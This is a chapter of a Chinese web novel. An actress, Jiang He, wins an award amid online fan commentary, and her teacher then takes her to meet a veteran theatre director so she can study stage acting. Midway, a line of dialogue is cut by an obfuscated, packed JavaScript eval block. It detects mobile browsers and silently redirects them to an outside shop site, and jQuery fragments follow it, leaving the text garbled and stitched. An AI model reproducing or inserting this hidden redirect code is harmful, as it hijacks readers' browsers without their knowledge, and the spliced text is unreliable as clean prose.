“啊啊啊我们宝就是争气!之前嘲讽那波人呢,出来立正挨打!”
“啊妹宝好厉害!不愧是我担,就是有实力!”
“红眼病再叫一个试试呢?00后小花主流奖项第一人,实绩摆在这你们再叫一个?”
“啊?姜鹤还是00的小花啊?一直以为95那挂呢,经常和顾文珠谭梓筱一起出现的。”
“我们鹤宝就是货真价实的00后哦,没办法,实力太强导致同期没有对比的。”
“没人夸夸妹宝的美貌吗!走今天的小裙子也好美!这摇曳的裙尾像在我心间起舞了!”
“走得好有气场,走我心上了,姐姐别踩地板踩我!我愿意!”
“这就是有实力和底气吧,走得大大方方的,感觉有大花的潜质。”
“我们鹤宝是明媚自信大美人!宝宝,你要继续向前!”
“这个奖项,其实感觉是有点爆冷了吧…”
“不说爆不爆冷,反正最终奖项就是我们鹤宝,略略略气死你。”
“不算爆冷啊!她和马雨桐不是两大热门吗?不懂在犟些什么。”
“对啊,还有三位都是老一点的演员了,以前都得过,不会稀罕了,要我说这届真的没啥竞争力。”
“还真的是会端水,《容华》拿了最佳男配,《月流烟渚》拿最佳女配。”
“确实,一边一个奖,谁也不得罪。”
而且《月流烟渚》还拿了一个最佳美术奖,怎么看都是胜了一筹。
但是不管网上议论如何,姜鹤都是实打实地拿下了这个奖项,实绩又增加了一项,圈里各方面的有很多的橄榄枝向她递来。
随之而来自然就是被更多90花视为了竞争对手,各种营销手段层出不穷,还有娱乐圈的传统艺能——撕饼。
今天传她要去出演某大IP改编的剧,明天传要演兰台自制的S+大制作...
“网传姜鹤出演《嘉华》女主,又一大IP改编,班底雄厚!”
“《清阳记》又要翻拍,姜鹤或成为这一版女主角?”
“笑死了,这种饼能轮到姜鹤?什么实力啊。”
“知道都很看好我们鹤宝,但是什么饼都拿来遛一遛是不是有点太过分了。”
“啊,梦一个《嘉华》,《清阳记》好像也不错,我们鹤宝真的很不错的!”
“别人说啥你信啥?别被人当枪使了,非官方不约。”
“理论上来说知道鹤宝不可能,但是情感上来说…呜呜呜让孩子做做梦怎么了嘛!”
“鹤宝还没到这种大饼争相喂过来的程度,一步一个脚印踏踏实实地走好就行,注意言行,我们不要给她扯后腿。”
“对啊,专注自身,别信网传,也别吵架影响到鹤宝路人缘,咱们非官方不约。”
小松树们虽说这不信谣不传谣非官宣不约,但也是翘首以待着她接下来的工作。
可惜大概要让一些人失望了,拿了奖之后的姜鹤拒绝了一切非必要的活动,从大众视野里消失。
“想好了?真的决定这段时间不接戏要演话剧?”柳伯雷躺在躺椅上悠悠地摇着蒲扇,开口问道。
姜鹤也是同款动作,此时晚霞漫天,春风微拂,是令人心情愉悦的时刻。
“想好啦,不趁现在多学点,以后恐怕更没机会了。”
柳伯雷赞许地点点头,眯着眼道:“有这想法是好事,在话剧这磨练磨练,对你演技也有好处。”
姜鹤把扇子盖在脸上,透过缝隙看落日余晖:“我也是这么考虑的,一直都是在镜头下演戏,现在可以知道直接面对观众是什么体验了。”
“也好,最近几天你没有啥安排吧?”“没有,啥工作我都推了。”
“也行,那等过几天我带你拜访一下我的老友,给你引个路。”
姜鹤立马坐起身,倒了杯茶奉上:“好勒,谢谢老师,老师大恩大德学生铭记于心!”
柳伯雷接过面前这杯茶,哼哼两声:“不指望你替我老头子争光,别让我在教育界颜面扫地就行。”
一听到这,姜鹤连忙表决心:“放心吧,保证让您到时候以我为豪!”
柳伯雷点点头:“那我可就等着那一天了。”
至于说才刚拿了金凤奖的最佳女配?在柳伯雷眼里那都不算事。
如今享誉戏坛的同辈们,谁还没有拿过几个含金量高的主演奖呢。
不过他对姜鹤还是很看好的,要是个不成器的,当初就算再怎么磨着他,他也不会同意的。
这么说也就是个师长对晚辈的玩笑话罢了。
等过了几天,柳伯雷就端着一小坛师娘沈萍酿的酒,带着姜鹤出门。
姜鹤弱弱发声:“老师啊,就带这么一坛酒真的可以吗?”
一听这,柳伯雷就不乐意了,吹胡子瞪眼的:“什么叫这么一坛酒!这可是你师娘亲手酿的!去去去你个没眼光的小兔崽子!”
“御厨手艺你懂不懂啊懂不懂啊!多少人求不来的啊!”
姜鹤连忙投降告饶:“错了老师,错了错了,我没眼光…我看这坛子挺沉的,我来拿吧。”
柳伯雷依旧气哼哼:“走开吧你,没眼光的家伙,不配碰你师娘的酒,我还怕你给我摔了呢。”
姜鹤继续赔笑,好话说了一大堆才哄得这个小老头消了气。
就这么七弯八绕地走了几条胡同,便到了此行的目的地。
大门敞开着,院中里是一位和柳伯雷差不多岁数的老太太,正在打太极。
柳伯雷带着姜鹤径直走进去,大着嗓门道:“菘蓝,打太极呢,吃了没啊?”
姜鹤瞬间意识到了这位老太太的身份,王菘蓝,如今的帝都话剧院唯二的副院长之一,是一位德高望重的老艺术家。
王菘蓝刚好做到结尾动作,收了势,沉沉吐出一口气,:“还没呢,谁这个点吃饭啊。”
柳伯雷哈哈一笑,拍了拍手里的坛子:“那正好,今儿你可有口福了!”
本来从容的老太太立马眼睛一亮,急走过来要接这坛酒:“是咱们沈大厨亲手酿的梨花春吧,极好极好,我已经数年没有喝过了。”
柳伯雷将坛子递给她:“不过这酒可不能白喝哟…”
王菘蓝这才看向一直跟在柳伯雷身后乖乖巧巧的姜鹤:“好说好说,这是你前两年新收的徒弟吧,好一个钟灵毓秀的小姑娘,也一直没带来给我们几个看看。”
“之前一直没赶巧,今儿赶上了,就带来认认人。呐,你叫一声王姨就行。”
姜鹤会意,立马向前一步,露出一个乖巧的笑容:“王姨好,我是姜鹤,今天来打扰您了。”
王菘蓝乐呵呵地对柳伯雷打趣道:“我们都是爷爷奶奶辈了,还让个小姑娘
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13450321|121325||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
叫我姨,像什么话。”
柳伯雷摇摇头:“一日为师,终身为父。她叫我一声老师,叫你一声姨有啥不行。”
姜鹤也笑着点头:“能成为您的便宜侄女,可是我占了大便宜,说出去不知道多少人羡慕我呢。”
这是真的,毕竟多少人想和王菘蓝这样一位德高望重的前辈攀上关系都没有门路呢。
王菘蓝家除了保姆便没有旁人了,她的女儿也是一位小有名气的导演,现在还在外地拍戏。
王家的保姆也是厨艺甚佳,虽比不得师娘沈萍的手艺,但也是让人赞不绝口。
等那酒坛子一打开,一股醇厚的香味散出,姜鹤瞬间明白为何两人都会对这坛酒视若珍宝了。
即使她是个不懂酒的,但光是闻着这浓郁的味道,还未喝上一口,就知道这必是难得的佳酿。
只可惜,她最后只分到了一小杯,至于大头,当然是被两位老人给瓜分了。
酒过三巡,便开始说正事:“我这小徒弟啊,不是太成器,这才跟了我两年,我也没咋教过,最近也就给我拿了个金凤的最佳女配回来。”
听到老师的话,姜鹤虽然因为被夸奖有些高兴的情绪,但更多还是尴尬。
老师呐,夸我就好好夸,您干嘛还整凡尔赛那套呢,怪尴尬的。
于是姜鹤装作听不见,只是悄悄竖起耳朵,然后埋头苦吃。
王菘蓝抢了酒自己倒:“行了你,多少年的交情了,有事说事,别拐弯抹角得给我秀徒弟了。”
柳伯雷美滋滋地抿了口酒:“不是我说,我徒弟有恒心有毅力,难得的年轻人不会被迷昏了眼。这不最近打算去演话剧,沉淀一下。”
王菘蓝眯着眼看过来:“哦?真的?不想趁着势头最好的时候多接点戏?不怕错过什么好机会?”
姜鹤知道这是考验她的时候了,于是放下筷子,正了神色:“您放心,我都考虑好了,这个决定是我深思熟虑过的,不是随意说说的。”
“接下来我也就只有一年多的学习生涯,这段时间我想沉下心来,踏踏实实走好每一步路。”
“至于说错过什么好机会,机会是留给有准备的人,我如果都没有准备好,那怎么能抓住机会。”
王菘蓝赞许地点点头,将坛中的酒倾数倒出,一饮而尽,十分豪迈:“好!就是要有这样的心态!老柳的眼光我还是信的,既然他推荐你,你就绝对有能演话剧的实力。”
“——不过,如果在排练中不如人意,我可是不会给面子的!”
姜鹤眼睛极亮,拍着胸脯保证:“您放心,我决定不让您失望!”
“好,那明日你再来找我,我…”
柳伯雷眯着眼,笑呵呵看着眼前的一幕,便要再去倒酒,只是倒了个空,顿时气得跳了起来:“好你个王菘蓝!居然趁我不注意喝完了!我这才喝了两杯呢!”
王菘蓝理直气壮,声音大得丝毫不像六七十的老太太:“求人要有求人的态度,我替你带一段时间徒弟,给我喝点怎么了!”
两个“老小孩”差点没打起来,最后还是不放心柳伯雷的沈萍来了此处,制止了面前的鸡飞狗跳。
废了九牛二虎之力都没办法阻止两人的姜鹤在心中高呼:师娘威武!
最后,沈萍向王菘蓝承诺下一坛酿好的梨花春必是她的,然后赶着柳伯雷,牵着姜鹤,回了家。